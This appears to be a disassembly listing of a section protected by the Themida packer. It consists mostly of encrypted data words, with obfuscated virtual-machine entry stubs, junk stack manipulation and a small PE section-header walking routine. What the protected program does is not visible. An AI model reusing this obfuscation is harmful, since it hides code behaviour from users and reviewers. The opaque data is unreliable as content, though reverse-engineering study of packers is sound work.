dd 714CA7EFh, 0EE08E620h, 81441A4Ah, 0EFFE0F7h, 88A9B586h
dd 45DABB2Bh, 5E4076E6h, 2F67D755h, 7009795Eh, 4822ADA4h
dd 1848F8A2h, 7F461846h, 0EFFA95Ah, 774E1021h, 0EFFA952h
dd 43620819h, 8E66985h, 89534354h, 55EA544Ch, 5B3462D2h
dd 26DB7F7Ch, 15345944h, 0C72A3417h, 0F0525F57h, 6AF9680h
dd 0ACF14D7h, 4D97746Eh, 0E1F6C862h, 0C3BAE533h, 118862FEh
dd 193EAB9Eh, 0CC6BC3Ah, 0E2000000h, 870F97B6h, 175A10h
dd 4F2E0000h, 4DFB6C86h, 0A3857F66h, 5CDDFAFCh, 0F8A34760h
dd 108721D5h, 0DB0BAB14h, 58D8D903h, 39D1AEE8h, 9F32E08Ah
dd 86B08116h, 7DF844F4h, 0FF34090Dh, 1B230C7Ch, 0A5069216h
dd 0EE701A35h, 83BBAB57h, 370ED010h, 1CABBB12h, 7E22C8D9h
dd 77BF2F91h, 0DCD4A986h, 7B1BF3Fh, 0C185EDh, 17970000h
dd 0E061CEA7h, 2F8EA570h, 0E749D6BFh, 31919E77h, 347734C1h
dd 0EC89F979h, 0B540B037h, 0E78EFE7Eh, 0AA4BBB38h, 4B8E3519h
dd 32169EB6h, 0BAB8BB1h, 0CEC838BFh, 0B300DEF1h, 0E4D9DD4Dh
dd 0EB953006h, 28169F32h, 892A3A2Fh, 0D4B6DE2Fh, 55E3D3E4h
dd 6F6D71A1h, 11B3D66Dh, 693A169Eh, 1C362281h, 7E471083h
dd 0E362CB4Ah, 1CAB06BEh, 0BB4B6C3Dh, 98654AE0h, 0B1BF7B9Ah
dd 40CB274Dh, 18000000h, 0D8472E9Eh, 170CE959h, 0E04F2696h
dd 0E25F060h, 42593CACh, 64D45649h, 0AD1DA291h, 69D95BC8h
dd 0A414978Ch, 6DD806D1h, 169EB624h, 0B5F646C7h, 0Bh, 0E1624FD1h
dd 53C34271h, 247585B7h, 475C5ACAh, 314274E4h, 3E3363D3h
dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
dd 783C7AEAh, 555E68h, 24148900h, 5E08950h, 4, 42Dh, 24048700h
dd 243C895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], ecx
mov ecx, 575B0D98h
sub ecx, 5142CCE7h
mov edi, ecx
pop ecx
push 6DA3h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 79D8h
mov [esp], ebx
mov ebx, 8
add ebx, edx
mov [ebx], edi
pop ebx
push dword ptr [esp]
pop edx
add esp, 4
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_581882
; ---------------------------------------------------------------------------
db 8
dd 1ED1BD76h
db 86h, 1Ch, 0A5h
; ---------------------------------------------------------------------------
loc_5AE017: ; CODE XREF: Themida_:005ADAB3j
mov eax, 6184559h
add eax, ebp
loc_5AE01E: ; CODE XREF: Themida_:loc_5ADAAEj
mov ecx, eax
jmp loc_5AE076
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5AE040: ; CODE XREF: Themida_:005AE06Bj
cmp ecx, 0
jz loc_5AE05F
cmp edi, [edx+0Ch]
jg loc_5AE067
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_5AE05F: ; CODE XREF: Themida_:005AE043j
; Themida_:005AE071j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5AE067: ; CODE XREF: Themida_:005AE04Cj
add edx, 28h
dec ecx
jnz loc_5AE040
jmp loc_5AE05F
; ---------------------------------------------------------------------------
loc_5AE076: ; CODE XREF: Themida_:005AE020j
mov edx, 9FD3Eh
jmp short $+2
jmp loc_5AE6BD
; ---------------------------------------------------------------------------
jmp loc_5AE6B6
; ---------------------------------------------------------------------------
push 6184727h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6184896h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6184914h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61849E5h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6184AF7h
jmp loc_581882
; ---------------------------------------------------------------------------
db 0AEh, 50h, 0E0h
dd 2B9B1E15h, 0E858D54Ah, 2292160Dh, 0EE5EDC53h, 0A81B9007h
dd 0E43BDA4Ah, 0AD821383h, 0E936DF4Fh, 487B1A8Ah, 0B49ABF86h
dd 0A061169Eh, 0F297B69Ch, 365B1086h, 0BA1086F2h, 1086F294h
dd 86F2335Ah, 0F297B710h, 325B1086h, 0AB9086F2h, 4003DB0Bh
dd 969C1D54h, 0B7BFC29h, 411D320Bh, 0B89C3A1Bh, 987C0D0Dh
dd 53C341F2h, 9F0F6DC2h, 3D6D1197h, 111A3B21h, 86F674D5h
dd 353B9EB1h, 0C63E6655h, 0D2BF9089h, 0E3340373h, 0D4C44243h
dd 74AB725Dh, 0E731C19Ch, 4B765CDh, 0EB4B0000h, 24859A7Bh
dd 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh, 0F0BBF085h, 28CD3DBDh
dd 710474FBh, 43D242C2h, 761F8FECh, 9FC2814Dh, 5E169EB5h
dd 0C7249F9Dh, 0F2BADF66h, 70411086h, 0D3327F5Fh, 7D5A3363h
dd 0E530C97Dh, 6CAA4047h, 869FC509h, 1E133B10h, 0AE152999h
dd 10869F6Bh, 2E690112h, 0BB3E737Fh, 98724B4Bh, 0CDA8189Bh
dd 6A655481h, 0CD2F3888h, 278FEC1Dh, 9C49F3AAh, 0E082787h
dd 0F0269615h, 856D6059h, 0AE5CCC2Ch, 0E78EFE7Dh, 0A8D52FBAh
dd 3E6B597h, 0E9F30000h, 8645375Ah, 56C62910h, 5BDAD9EAh
dd 241BFFEBh, 48B83BC7h, 585E714Eh, 66906176h, 0B837291Bh
dd 0B0ABF3D2h, 0C8311086h, 0D2F8DD15h, 88B1DB6Ah, 549F2730h
dd 0B51C2C1Eh, 67D754D5h, 0AA19458Eh, 10865367h, 8293506h
dd 77FB38A8h, 0B8A96307h, 0FA29CC3Ch, 27350979h, 0EA975B2Eh
dd 47FE3FA7h, 10860C02h, 4571E15Ch, 23C7D848h, 0F83923E9h
dd 70990C7Ch, 0FB10860Ch, 0AA5A402Ah, 0C97BA89h, 92ED1086h
dd 0E4F03173h, 0F3DCED53h, 3EAE0D22h, 7F943720h, 12C5B333h
dd 42A5BE78h, 5F7E43D2h, 9110863Ah, 0F278BE2Eh, 1E401E4Eh
dd 62A71E40h, 910863Ah, 3A448D38h, 16271086h, 0C1A54974h
dd 5B48169Ch, 5E2F67D7h, 0AF6BAC71h, 2F4B7D6h, 34882h
dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h, 0DA4AA877h
dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h
dd 0BA468B3Ah, 6425169Eh, 57C724D8h, 0ABEE5587h, 521086F2h
dd 766BA941h, 0A09185F5h, 84C6AF1Fh, 6192BA53h, 79116292h
dd 86AC434Ah, 5CE62710h, 77F81087h, 69B40F07h, 0AA10869Ch
dd 0D0BA2A89h, 0D8E616EAh, 9C69596Dh, 32CBDC16h, 0B7D70AEFh
dd 0CA028274h, 38000002h, 78A74EBEh, 37EC89F9h, 80AF46B6h
dd 2E059000h, 0E2B95CCCh, 474F6A9h, 0CD3DC271h, 979FB28h
dd 0C434B76Ch, 0DB8A631h, 169EBBC4h, 2456E6A7h, 525F57C7h
dd 0F29581F1h, 50B314BBh, 1DA015E0h, 0A397A81Ah, 248h
dd 0AB1B9899h, 44F8926Bh, 72E2624Fh, 49F4B44h, 1086F2D9h
dd 583DAD0Fh, 0E5F969CBh, 160070CCh, 0CEE35139h, 0FEE0FE6Eh
dd 86F20247h, 32D8E910h, 0C0F14504h, 741BCF3Fh, 8EFE7E49h
dd 0CA7963E7h, 1086F287h, 0F6B55566h, 97A81A73h, 2D9D1E13h
dd 62DD3Dh, 4FB90000h, 296DDD62h, 3CFCB654h, 0AADC0B14h
dd 0AD82BC23h, 5B963291h, 0EC45169Ch, 251A1C8Ch, 1B1B8BEEh
dd 47584822h, 0D7256DB6h, 78FCFAB7h, 1F9h, 583DAD09h, 1FF666CBh
dd 0B045B510h, 0E88DFD83h, 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh
dd 80FC33C2h, 4DAE8510h, 0BF8F38DDh, 9EBBDD04h, 5DDFA016h
dd 123F06C8h, 0E91086F2h, 0C3F0DED8h, 0F6C7CF3Fh, 25951714h
dd 0F060E350h, 588834C6h, 960666BDh, 3FAD8FC8h, 6812C53Ch
dd 5A7D6028h, 6C70A079h, 8B851E0h, 0F796745Bh, 5B5BCB28h
dd 3380E146h, 0A0E95CCCh, 4B108647h, 17C0557Ah, 47557C47h
dd 0EB181086h, 361989h, 1C2292F3h, 0F8D6B13Bh, 6B1FE186h
dd 0CAEB9A20h, 862CD6FBh, 0AB849510h, 87F7766Bh, 2C8AD3EEh
dd 93631086h, 0FCE85B63h, 81169CC4h, 15B0AEB0h, 1690F4CCh
dd 0F453764Dh, 91A1690h, 52E48697h, 8B78E061h, 68E622A2h
dd 6EC5507Fh, 0B19B9B0Bh, 0D98054A4h, 76144591h, 0CFC737B5h
dd 0D1ED5DE2h, 17F363E0h, 82022F1Dh, 140272F6h, 0B576143Bh
dd 5CCEC838h, 0F3526C9Ch, 108D950Fh, 1D009DAEh, 0BEB1C128h
dd 0E73CB8h, 9B1B0000h, 54D54A2Bh, 0A32211E4h, 6BCD6233h
dd 0A5051AFBh, 404B6035h, 987DED4Dh, 0E1B4248Bh, 0F382F252h
dd 0A64FBF3Ch, 4F92311Dh, 2E169EB8h, 8D4FCF6Dh, 86F293B6h
dd 0CB2D5A10h, 9596745Bh, 0B9298A16h, 8FAF807Dh, 83B323A2h
dd 0F2E72A99h, 0B5861086h, 0AB1B999Ah, 0DF5C55BFh, 0CE90276Fh
dd 1BC77089h, 0A2917B12h, 0D5BCAE1Eh, 0FD5EDDEAh, 86B40346h
dd 3FBDEA10h, 0D9F6C7CFh, 0F63B1FF6h, 27660474h, 97A85FC2h
dd 79E94F64h, 4F47B73Ah, 19B08C7Eh, 0AE000000h, 0DABE73A9h
dd 0EA6DFBh, 0F296B61Ch, 69CA1086h, 21981CF9h, 74000000h
dd 71E1624Fh, 0F2E32A99h, 3E201086h, 86F24287h, 0A3202910h
dd 0E2174A99h, 28E981AEh, 6EBA5BCBh, 12351299h, 73000000h
dd 0E1A7D862h, 0A125A686h, 68E94439h, 9D7F6B44h, 5ACA249Dh
dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
dd 66D65A47h, 52C24330h, 7AEA4F64h, 7B68783Ch, 89000067h
dd 8950240Ch, 405E0h, 42D0000h, 87000000h, 895C2404h, 3768243Ch
dd 8900003Eh, 0BE56241Ch, 73857B2Dh, 3DA7F681h, 0F789759Dh
dd 8324348Bh, 0EC8304C4h, 24248904h, 4240481h, 5B000000h
dd 89FE8956h, 348B0873h, 4C48124h, 0FF000000h, 815B2434h
dd 4C4h, 243C8B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h
dd 0FD31D9E9h, 5995BEFFh, 0EFD354F7h, 75830B53h
; ---------------------------------------------------------------------------
adc [edi], ah
loc_5AE6B6: ; CODE XREF: Themida_:005AE082j
mov eax, 6184C03h
add eax, ebp
loc_5AE6BD: ; CODE XREF: Themida_:005AE07Dj
mov edx, ecx
jmp loc_5AE82A
; ---------------------------------------------------------------------------
dd 45E26F3h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh
dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h
dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0)
dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h
dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h
dd 32h, 26h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5AE82A: ; CODE XREF: Themida_:005AE6BFj
jmp loc_5B07D4
; ---------------------------------------------------------------------------
push 6184FD7h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61850EBh
jmp loc_581882
; ---------------------------------------------------------------------------
push 61851C3h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618529Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 61853AAh
jmp loc_581882
; ---------------------------------------------------------------------------
push 618546Ah
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185542h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185611h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185A23h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185A8Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185BA6h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6185E83h
jmp loc_581882
; ---------------------------------------------------------------------------
push 618622Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 6186596h
jmp loc_581882
; ---------------------------------------------------------------------------
push 61866ACh
jmp loc_581882
; ---------------------------------------------------------------------------
push 618671Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 618676Ch
jmp loc_581882
; ---------------------------------------------------------------------------
push 61867CEh
jmp loc_581882
; ---------------------------------------------------------------------------
push 6186989h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6186A81h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6186C46h
jmp loc_581882
; ---------------------------------------------------------------------------
db 0F6h, 78h, 8
dd 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh, 3063287Fh
dd 9C9362D2h, 55CAAB1Bh, 0A18E67D7h, 0F0E3B222h, 0BC3257EEh
dd 38B9169Eh, 57C72404h, 81F1525Fh, 0C2F2C6F4h, 0FB1149FCh
dd 0CBDC169Bh, 0FB2568CBh, 67D21693h, 276CD178h, 3EF49DBDh
dd 0EA000000h, 0C838BFF4h, 93F3345Dh, 4E6B716h, 0DB0BAB10h
dd 0F5F04003h, 0BC8D169Bh, 1B9F947Ah, 0F5766BABh, 93BC9185h
dd 0F181CCF7h, 0C36E1693h, 5DDDD61Ch, 2B8EFDEDh, 0B19DBD1Dh
dd 0ABh, 57C72485h, 64F0525Fh, 0A8B69909h, 0F2CA0FB6h
dd 0E0B11086h, 94170C0Ah, 143BAB08h, 42B21122h, 45B5377Ch
dd 0E5EBC6A5h, 0F71086F7h, 0C2710474h, 53E5D141h, 0D86B73A3h
dd 169C0030h, 0A109ECBDh, 3291ADDDh, 108B8509h, 0EA471728h
dd 11461888h, 0E34509C2h, 6B616473h, 0BEE3627Ch, 3D1CAAA6h
dd 40EF7E6Ch, 6CCB52C2h, 6FB1C042h, 1D22FD85h, 7BFB0000h
dd 34B56A0Bh, 830231C4h, 4BAD8213h, 85E53ADBh, 602B8015h
dd 0B85DCD2Dh, 194046Bh, 9362D232h, 0C6AF1F9Ch, 2F72D1FDh
dd 0CE169EBDh, 0C624EF4Dh, 1370BF56h, 0AB66D2A3h, 0AE03DB0Bh
dd 2E30DA4Ah, 9BF59B97h, 0A591A216h, 93F1FF1Eh, 9E118816h
dd 0BD1D3EABh, 6FD3E09Dh, 3D64DFFFh, 0C01693FDh, 0E91FFBEFh
dd 0FB000000h, 6DDD624Fh, 75B65429h, 0A39086F6h, 0A28FAF1Fh
dd 8885B121h, 496A34E2h, 35907AEAh, 1086F6AFh, 8ED3726Ch
dd 6D1086F7h, 0FE7DAE5Ch, 17AEB08Eh, 1086F7F2h, 688FA879h
dd 27DFF71Ch, 0AA7914F6h, 4BDDD949h, 0E0637BABh, 169C3D38h
dd 0C9EAF4C5h, 8211F969h, 0BA388434h, 0D2574C4Ah, 5C624D62h
dd 3462D257h, 6748B83Fh, 86ABB183h, 0A0109723h, 0D4B69976h
dd 8BD529E9h, 43A7D410h, 0C5EAE3D3h, 3ABCDCF9h, 4C44E931h
dd 6DC6989Eh, 5C09E0Eh, 1CAAB8DCh, 2FDC8E9Fh, 65BA5BCBh
dd 9F089505h, 40B1C04Ch, 1C0ECE36h, 0AF0F0000h, 68C9563Fh
dd 0A7061DF8h, 6FD15E37h, 0A90916FFh, 4C3F5C39h, 0F481F151h
dd 0AD48B83Fh, 0EF86F676h, 0C253C340h, 53764D11h, 1A169EA2h
dd 624FE359h, 9B9872E2h, 61CEA717h, 95A372E2h, 5F57C724h
dd 8B89F152h, 2ADB22AFh, 6ADA595Ah, 511B045h, 421C4CECh
dd 4E833B1Ch, 0C00B102Ah, 864ADC05h, 0A18E9F10h, 4376DAC9h
dd 9C95169Bh, 0DCBCAE1Eh, 519033CBh, 26CB00A3h, 0EC762A52h
dd 0B6E050B3h, 1712FED9h, 999AA48Bh, 9F70A616h, 0EADD04BFh
dd 8FA0D222h, 528359DBh, 0D9F61ED7h, 0AB1AF0BDh, 0D43880E7h
dd 3EAE0F24h, 336307F8h, 0F2C63462h, 5C49FCC2h, 1FDE25B3h
dd 1127300Eh, 0BB219066h, 231026C4h, 0CE6530A0h, 0B120FD6Dh
dd 32EF1E8Dh, 1B36C044h, 87E70000h, 50B17E17h, 9F1E15E0h
dd 57D9462Fh, 0A1210EE7h, 44476431h, 9C79E949h, 0E5B02087h
dd 977EEE4Eh, 0DABB2B88h, 3B5EE5E9h, 0C2169EA3h, 0C724FB41h
dd 25D95F57h, 2A5AE9F5h, 49169C03h, 0D85E350Ch, 0B7530C52h
dd 5E5F3607h, 0F3FFFF2h, 428C942Fh, 20F1108Eh, 5C85401Eh
dd 1F1CAC31h, 0AB1A5C0Eh, 0D41293E9h, 3DAD0D26h, 100676F6h
dd 91654B3Fh, 22E65D61h, 69C54029h, 0CA89D073h, 470BC977h
dd 7E51E655h, 0F7C7D848h, 778D054Ch, 33D7E8C9h, 0F684B283h
dd 794C1242h, 0CF6D520Ch, 0D54EFEDh, 0F0F08048h, 0BA8B2BDFh
dd 21A4BAA4h, 0F08048F8h, 0A6169683h, 83B09F70h, 38F99101h
dd 0A0AA4BBBh, 78BE2E93h, 0C526E387h, 0DC53C855h, 0A294DDE5h
dd 1A5F22h, 0D040BE00h, 1B8BEE45h, 0D848A57Ah, 1282E63Dh
dd 0DE4EAC83h, 782B6037h, 34EB8AFAh, 7DB243B3h, 39E68FFFh
dd 18AB4ABAh, 0A04A8F36h, 0B031169Eh, 57C7248Ch, 0FD9E4E87h
dd 0EDB6562Fh, 38D242A6h, 0A4CC6CFEh, 4BF5835h, 108697DDh
dd 68A88FA0h, 0CC92BD83h, 0B424A192h, 0BEDD8D82h, 169C053Eh
dd 0A607EEBFh, 36B9FABBh, 0CA6E24C6h, 1901C49Ah, 2108EDFh
dd 9FB47CD5h, 1B9F2324h, 0BD926BABh, 46D8E9CDh, 739E3F18h
dd 177860Dh, 29261080h, 0A2396406h, 23A105E0h, 0A81B2353h
dd 0BE4F0AE0h, 4F92312Bh, 2EBE6EEAh, 78496D1Dh, 0C00CAC3Eh
dd 0DFFFD040h, 83E672D2h, 84E3C13h, 7435483Dh, 10B3A9B8h
dd 0A47BA1C9h, 9707E3B4h, 439FB886h, 3C1EE296h, 0FBFA1FA6h
dd 0B081A47Bh, 33EDB89Fh, 99B41C40h, 40716BF1h, 696650C0h
dd 0C3339081h, 0BD2F2832h, 69B01386h, 14A47B65h, 365A3403h
dd 991A17F3h, 92C95429h, 241208EFh, 194FA0h, 70CE00h, 0CB3BBE75h
dd 878F52Ah, 0C232B66Dh, 0E7EFC33h, 487B3067h, 849B7AEAh
dd 4DE2B323h, 89967FEFh, 0E8DBBA2Ah, 0A13A5FE6h, 40C1169Eh
dd 0F8864FFCh, 5E1CB953h, 0C526E387h, 0CC288955h, 0D1745A5Ch
dd 1086AD88h, 0DD8DA273h, 0A9F5C92Fh, 0F7E0D646h, 0E92B6E8Ch
dd 381738B6h, 0C079F26h, 516169Ch, 3BD65170h, 0D0734B7Bh
dd 108EDB48h, 0C49A6435h, 989E0E6Fh, 9BD8C3A7h, 1C01E38Dh
dd 0B3122C5Ch, 1FF0D7EFh, 0B323A18Eh, 71A58A83h, 37073707h
dd 1DD8198Ch, 734B5C19h, 0D431BD3Eh, 725D3264h, 1EA5B7A3h
dd 511C2FBh, 0FD82B182h, 0CF2CDD8Dh, 6631BE5Fh, 88AEA855h
dd 188F2Ch, 0C0308E00h, 0B7BFE35h, 0C838B56Ah, 272F62Dh
dd 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h, 49D6BF2Fh
dd 289B7AEAh, 0A67A9F26h, 8001169Eh, 57C724BCh, 0D925D95Fh
dd 47ABE858h, 5FE6F8D7h, 169BF79Bh, 7CA52022h, 721693F7h
dd 0A4999D0Dh, 3A042BFCh, 0C0A7AF9h, 753C5733h, 74A4549Dh
dd 0FE77DB6Ah, 9F94108Eh, 956AAC1Ch, 2EF0C1F5h, 65E6B797h
dd 0E010B0A8h, 0FA367DEh, 794A896Fh, 0E864F3Dh, 7746AF9Fh
dd 0B3832DDDh, 0F176BB83h, 7BB89581h, 51E387F7h, 94ABF3F2h
dd 0ADB182B0h, 0D1B92984h, 5DC5268Bh, 2920488Dh, 63C7CCEAh
dd 0D502DCF3h, 0D1C60027h, 0D3A248B8h, 0EC53DF5Ch, 3791B88Bh
dd 4B5CBC9Bh, 5ACA2F64h, 0D111A875h, 0E4D211CEh, 17B760h
dd 98086600h, 53C326FDh, 0A0106DC2h, 6ADA5ED5h, 0A616948Bh
dd 0E0D3D8CFh, 0C23F262h, 0C55A3BABh, 111EF767h, 20B342B2h
dd 0A742873Eh, 6829169Eh, 0E5864FD4h, 4501C460h, 0BE3DEE9Ch
dd 0D07EC56h, 0EDC2053Bh, 6FCEE3A9h, 0D1A50BFFh, 18949DA1h
dd 0C97CC2A8h, 169F2DD8h, 55E9AA3h, 72676BCFh, 0D330815Dh
dd 0D88ED372h, 5C6D169Eh, 0A1FA273h, 0B169ED8h, 0C8573E6Eh
dd 8C1AFB6Bh, 0A2E8C4ECh, 0FD04E64Dh, 73D20CD2h, 169EB22Eh
dd 35D5B064h, 5CC45F69h, 0BF9D9F4Bh, 9EE3269Dh, 0B98A169Eh
dd 53F7F2D1h, 99861087h, 0B787A818h, 0EE87F77Ah, 8E50C041h
dd 8658C825h, 0B64B9ABFh, 0BA50611Ch, 9404677Ch, 0BBDDEC09h
dd 0F9797BB1h, 16E8h, 0AC49B935h, 0F382F277h, 0C451C13Ch
dd 0FC99096Fh, 0C253C327h, 87EBA6E5h, 4EB17E17h, 8CE837DEh
dd 49AA791Ch, 0C38B3CD9h, 9EA4D900h, 59E3A416h, 93B68D4Fh
dd 5A1086F2h, 47F7A149h, 2A0575FBh, 0B8854314h, 553FD824h
dd 0A5249FB5h, 0B8169F36h, 59DAD7E7h, 0A5044DF8h, 0D6E7169Eh
dd 0ED8E1CF9h, 8B22A1BDh, 8A169EA5h, 0D6F67DB9h, 0A169EA5h
dd 11FB3BABh, 9EA56FB2h, 0F63D0E16h, 76110575h, 3D5B903Fh
dd 0C46FACEFh, 863199B6h, 1F87F257h, 940D9DC0h, 29000000h
dd 0DE0EABh, 86F21045h, 0E4D2E310h, 86F23C61h, 61D13210h
dd 4BBB3C35h, 2F137A4Bh, 0AFF0369Ah, 90537AE1h, 0A2507F3Ah
dd 78BE2E91h
dd 45A8E387h, 0CB97A82Bh, 5Bh, 0B68D4FDFh, 1086F293h, 68DA515Ah
dd 2D647601h, 0D513502h, 9A1303F4h, 0E889D5F0h, 0CD0A1086h
dd 0F7CCC739h, 977716F8h, 0D30C3A16h, 741FDBFCh, 0A9F9108Eh
dd 0DB27D7C1h, 0F4CAE555h, 0F868C9EAh, 0CABB312h, 4B68169Ch
dd 0F1A580E8h, 5B97CA08h, 464D4274h, 239377E7h, 4FB58312h
dd 0F293B68Dh, 2D5A1086h, 97735CCCh, 112D5D21h, 9BF6E2B2h
dd 0BC829316h, 402FA99Bh, 63076EAEh, 6BCEE3A9h, 28C2BBFBh
dd 7D1888EBh, 9D545A6h, 0DCDA4AA8h, 140D07E3h, 28B42E96h
dd 8AE1F315h, 1BFD71A5h, 47239316h, 96A5D50h, 3DF41DA8h
dd 0A6771693h, 5162EC89h, 0B99680F0h, 73E360D1h, 0DA585943h
dd 661A806Ah, 21362836h, 0BFC65C27h, 0A914F6C0h, 1089DA09h
dd 74E44734h, 0E2464D42h, 6BB85D72h, 6DC69808h, 0A39C9A0Ah
dd 327F4DC7h, 1D1D66CEh, 61C2C49Ch, 9377484Eh, 97528228h
dd 0A9149B84h, 112D9D1Eh, 0C45C6144h, 0F9914414h, 0B626859Ah
dd 9D0D7380h, 0C4EB9A99h, 4E108003h, 0BB6CB510h, 3E0F94E7h
dd 0E0878F5h, 0E53A5931h, 9A201686h, 1DA8B6E6h, 92FD403Dh
dd 82C77E40h, 699AF093h, 7E51C13Ch, 0C49AC451h, 0C5622693h
dd 8D385EFDh, 9AF09044h, 7D481627h, 9AF09054h, 0A7640617h
dd 0D1E2D444h, 28B8FE6Eh, 3AB90EC1h, 0F5DA4AAEh, 40B01320h
dd 2C4F8856h, 0A878BB03h, 29CDC3A7h, 0EE5EE5F9h, 6F9CEA55h
dd 0CF33805Eh, 53E0AB5Fh, 2F9680F0h, 0B00D51EEh, 0DBA2594h
dd 0C8573EAEh, 0A9BAFC6Ch, 0D005D949h, 0BC3858B1h, 62754A4Ch
dd 19F135F0h, 8A355C1Bh, 0A64FBF3Dh, 0B8288FA4h, 1FB6817Eh
dd 26CBBEE8h, 0F97BB852h, 0A8189B98h, 0ED34916Eh, 90B00DFDh
dd 87F774BFh, 1F9D96A8h, 0F49667AFh, 57C7293Ah, 7568CF5Fh
dd 0F382F252h, 6650C03Ch, 400324D4h, 0B00DFD19h, 0E2FCD3E4h
dd 0C636B7FCh, 0B00BFFD0h, 0B610F9E4h, 456C9099h, 0EAFE4B11h
dd 0F5DA4AA9h, 0A2DBECE9h, 46DA7FEAh, 0BC851171h, 5733EAEAh
dd 802FD6DDh, 0A075E547h, 0FEC03093h, 0CFC737B5h, 0C0EF5FE2h
dd 74F7EC2Ah, 0E3771204h, 1DAABCF2h, 0BFF7764h, 2D8E39A4h
dd 0B6D0F9CCh, 8A9BB626h, 93BC2C89h, 0C5698ACBh, 9C7D1900h
dd 76BB9FEEh, 940466F2h, 0E882ADA2h, 485A40ADh, 28C83Eh
dd 24E40000h, 2D8658C8h, 67585ECEh, 5F1F8983h, 0A8B40F2Fh
dd 6B169C08h, 0E58FD271h, 5D6E1693h, 5D3809ADh, 2957h
dd 0C8243300h, 0ED588658h, 1086F2A4h, 0BE3D7647h, 0AC729C4Eh
dd 0F2CE13B2h, 9CAD1086h, 0C4F4C4EEh, 0AF34BFAh, 0A172169Ch
dd 5EB268D4h, 0ABB3E393h, 8FFF80B1h, 0FB58C0DBh, 1425169Bh
dd 0F603D48Ah, 0CCF7B5ECh, 0D8019C4Eh, 41032FF8h, 452595F0h
dd 637BAB4Bh, 550038E0h, 0C2F4C5ECh, 0DC678838h, 1058EDB5h
dd 76486738h, 0D4617668h, 9837D791h, 573257CEh, 0E8B91058h
dd 4263A3CFh, 593183F0h, 42377B6Ah, 1529FA16h, 49379F1Ch
dd 2E4CE8E6h, 909F7659h, 0B3AC333h, 50B6F91Bh, 12D6DE66h
dd 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh, 81012EC7h
dd 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh, 0FA9B0B68h
dd 1B3E05C9h, 0E2169EA8h, 8D4F1B21h, 86F293B6h, 0A1495A10h
dd 86F3DF02h, 0B8E89810h, 1CB71FA6h, 0F5C6169Ch, 0FC6CC8E9h
dd 7EFC3519h, 5337080Eh, 0B0E656D6h, 4DD040C3h, 0B7D76914h
dd 6DC9294Bh, 0B0000012h, 200FE656h, 0CF6431A1h, 817FE6Eh
dd 0C65D38A8h, 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h
dd 0C7CFF34h, 0D5705E69h, 169EA88Ch, 4F8EAE6Fh, 0E9AFC886h
dd 57EE99C4h, 1086D432h, 23C7E8B9h, 0C599C96Dh, 9C3B96FEh
dd 8D6E716h, 0D9DE46ABh, 0CD77C806h, 0B1AFA98Eh, 795D20FEh
dd 754F8856h, 2DFB9476h, 0B222A192h, 366BDD8h, 9CB9A393h
dd 5AF6A3Eh, 3DEE9C9Eh, 5B484EBEh, 403165D5h, 0A26551C1h
dd 261FC4EBh, 0F277507Fh, 51CAF382h, 0D3B07364h, 4882CD17h
dd 0B5557AEAh, 320C3CFBh, 26108001h, 0F63B4129h, 0B0130373h
dd 1693D26Ch, 0F5D2FDA4h, 0C2710474h, 0DF4FB33Fh, 0DBD8C6F0h
dd 0D0ADE959h, 90C0803Ah, 1FAAF7CEh, 0E0B1108Ah, 0CA56D5DEh
dd 40D5FA6Ah, 0F62090F3h, 0BA84B484h, 0B2503B0Bh, 55693A1Ah
